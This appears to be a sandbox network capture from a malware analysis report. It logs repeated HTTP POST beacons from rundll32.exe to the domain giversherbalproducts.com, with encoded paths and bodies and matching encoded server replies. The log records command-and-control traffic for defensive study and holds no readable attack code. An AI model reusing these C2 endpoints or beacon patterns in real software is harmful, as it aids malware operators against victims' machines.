Oct 4, 2021 16:01:12.955235958 CEST	1053	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:12 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 70 38 66 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXp8fkJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
80	192.168.2.3	49838	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:49.778331041 CEST	1274	OUT	POST /lBawcxb5/fBM5IDlCe3J+YXp8c2J9ZXk= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:50.291924953 CEST	1356	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:49 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 36 66 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt6fEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
81	192.168.2.3	49840	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:50.013719082 CEST	1349	OUT	POST /lBawcxb5/fBM5IDlCe3J+YXp8c2J9ZXk= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:50.498512030 CEST	1382	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:50 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 36 66 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt6fEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
82	192.168.2.3	49844	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:50.684297085 CEST	1389	OUT	POST /lBawcxb5/JS4leCwTGiojLgAhfiAeJXl4JCkFHUJ9dnlkenp3ZXhlfw== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:51.189402103 CEST	1455	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:50 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 36 66 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt6fUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
83	192.168.2.3	49846	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:50.871126890 CEST	1403	OUT	POST /lBawcxb5/JS4leCwTGiojLgAhfiAeJXl4JCkFHUJ9dnlkenp3ZXhlfw== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:51.341017962 CEST	1470	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:50 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 36 66 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt6fUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
84	192.168.2.3	49849	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:51.519088030 CEST	1517	OUT	POST /lBawcxb5/LDhzdH4lGnwaNw4PfworLCkHdSkEGjIvdnMoAkV+cnhlfXlzZHlifA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:51.999373913 CEST	1608	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:51 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 36 66 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt6fUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
85	192.168.2.3	49851	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:51.754498959 CEST	1524	OUT	POST /lBawcxb5/LDhzdH4lGnwaNw4PfworLCkHdSkEGjIvdnMoAkV+cnhlfXlzZHlifA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:52.200598001 CEST	1610	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:51 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 36 66 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt6fkJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
86	192.168.2.3	49855	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:52.372184992 CEST	1615	OUT	POST /lBawcxb5/cjsfHAk/MzgAfhp+DBgAGz0PeyQgQ3p1fWV7fXRheWR4 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:52.911950111 CEST	1849	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:52 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 36 66 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt6fkJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
87	192.168.2.3	49861	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:52.643424988 CEST	1714	OUT	POST /lBawcxb5/cjsfHAk/MzgAfhp+DBgAGz0PeyQgQ3p1fWV7fXRheWR4 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:53.121408939 CEST	1853	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:52 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 36 66 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt6fkJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
88	192.168.2.3	49865	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:53.257313013 CEST	1860	OUT	POST /lBawcxb5/GzsaeR8FDw4qOh8mCAR2HDoCFS4bAhxFfnJ4ZX15c2R5Ynw= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:53.746798038 CEST	2096	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:53 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 36 66 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: 